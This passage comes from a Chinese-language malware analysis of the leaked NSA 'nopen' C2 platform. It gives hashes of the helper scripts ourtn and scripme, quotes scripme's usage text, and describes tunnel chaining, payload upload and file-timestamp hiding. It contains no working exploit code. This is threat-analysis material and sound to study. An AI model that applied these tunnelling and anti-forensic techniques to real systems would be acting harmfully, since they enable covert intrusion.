    100024    1   tcp  52634
--
# Scan for echo hosts
# Scan for daytime hosts
# Scan for tftp hosts
# Does not work
# Scan for DNS
# Scan for RIP v2
adios
```

功能简单，使用简单，与nmap相比，差距很大。

但是该有的功能都有了。

ourtn

```
certutil -hashfile ourtn sha1
SHA1 的 ourtn 哈希:
5b5fa41817db1c757643f4eeb43d110f1857daf8
CertUtil: -hashfile 命令成功完成。
```

ourtn是一个perl 4脚本，文件比较大，用来构建隧道。

因为程序木有跑起来，所以都是基于文件的分析。

这个程序的主要用途是建立隧道链，然后上传负载，比如启动tipoff/dewdrop，进行进一步的操作。

程序里面支持windows系统，但是木有看到对应的windows程序，需要进一步收集相关资料。

这个隧道支持的协议有tcp, udp, icmp。在网络协议利用方面，明显高出其他团队一大截。

从perl的版本可以看出，这是个老程序。说明这个C2有很长的积累时间。

通过利用不同的程序组合，实现了操作的序列化。降低了操作员的难度，节省了大量时间。

scripme

```
certutil -hashfile scripme sha1
SHA1 的 scripme 哈希:
b1b7ee5c0e5ee2a477acf39159980832aa6cde3f
CertUtil: -hashfile 命令成功完成。
```

scripme也是一个perl 4脚本，庆幸的是，可以运行起来。

```
./scripme -H

Usage: scripme [options] [-X"other-xterm-args"] [# | -t wintype]
   -H  print this LONGER usage statement (-h is a shorter one)

   -F  This option should only be used by scrubhands or by other
       automation scripts. With -F, the number and type of xterms
       started are determined by scripme.* files in /current/etc.

   -V  show xterm commands executed to stdout

   -k  close xterm when its process is done

   -d  show but do not execute the xterm commands

   -c  call $EXPLOIT_SCRIPME via "sh -c ''" (this
       is ignored unless -t wintype is used)

   -X  other-xterm-args can be any string of valid arguments to xterm
       (see xterm(1) for valid arguments), including the hyphen(s)

   -s  use the size from some other window for this new one. User is
       prompted to click the window whose size we want.

   -t  bring up only one window of type wintype, which can be either
       TCPDUMP or SOMETHINGELSE. If SOMETHINGELSE, the environment
       variable EXPLOIT_SCRIPME must contain the desired command line,
       and the script name with script.somethingelse.$$. (Choice of
       string "SOMETHINGELSE" up to user.)

scripme -F brings up 0 windows scripted in /current/down/. One
running "tcpdump -n -n", on the environment variable $INTERFACE, scripted
to tcpdump.raw, and the others running bash, scripted to script.$$.  Or,
```

```
if the optional "#" argument is used, # scripted bash windows. (# is
ignored if it is greater than 20.)

If your op is built with the file /current/etc/scripme.override, it can
contain a table of your preferences for window location, size, color,
etc. See /current/etc/scripme.example to design your own .override file.

scripme version 2.0.2.4
```

启动一个终端，启动tcpdum，抓取网络数据，然后执行操作脚本。

总结

nopen是NSA的方程式工具集的一个重要操作平台，提供了unix类型下的C2服务器和控制端功能，是整个工具的核心。通过C2框架，来加载其他攻击载荷，建立内网渗透通道。

从其庞杂的辅助程序可以看出，这个C2已经运行了很长时间，有相当多的实战使用经验。

这个C2的技术水平与msf基本接近，功能各有所长。

msf强在框架的模块化设计。

nopen强在加密设计，网络协议利用，环境检测。

值得注意的是这个C2把隧道技术作为内建的功能，而不是采用外挂隧道软件，这样的好处就是自带统一的加密功能和操作界面，快速进行内网渗透。

这个C2虽然不支持脚本语言，但是支持批量命令处理，方便管理多个服务端。

nopen对文件的日期属性的设置，很不错，可以有效的隐藏自己。

> 中国菜刀也有这个功能:-)

nopen是一个严谨的C2平台。

参考

1. 信息安全摘要 (cverc.org.cn)
2. 从国家计算机病毒应急处理中心披露的NSA网络间谍武器，看美国网络作战布局 - 安全客，安全资讯平台 (anquanke.com)
3. x0rz/EQGRP: Decrypted content of eqgrp-auction-file.tar.xz (github.com)
4. ShadowMove套接字劫持技术，巧妙隐藏与C2的连接 - FreeBuf网络安全行业门户
5. 【恶意文件通告】NOPEN 恶意文件分析 (qq.com)
6. 从“NOPEN”远控木马浮出水面看美方网络攻击装备体系 (antiy.cn)
7.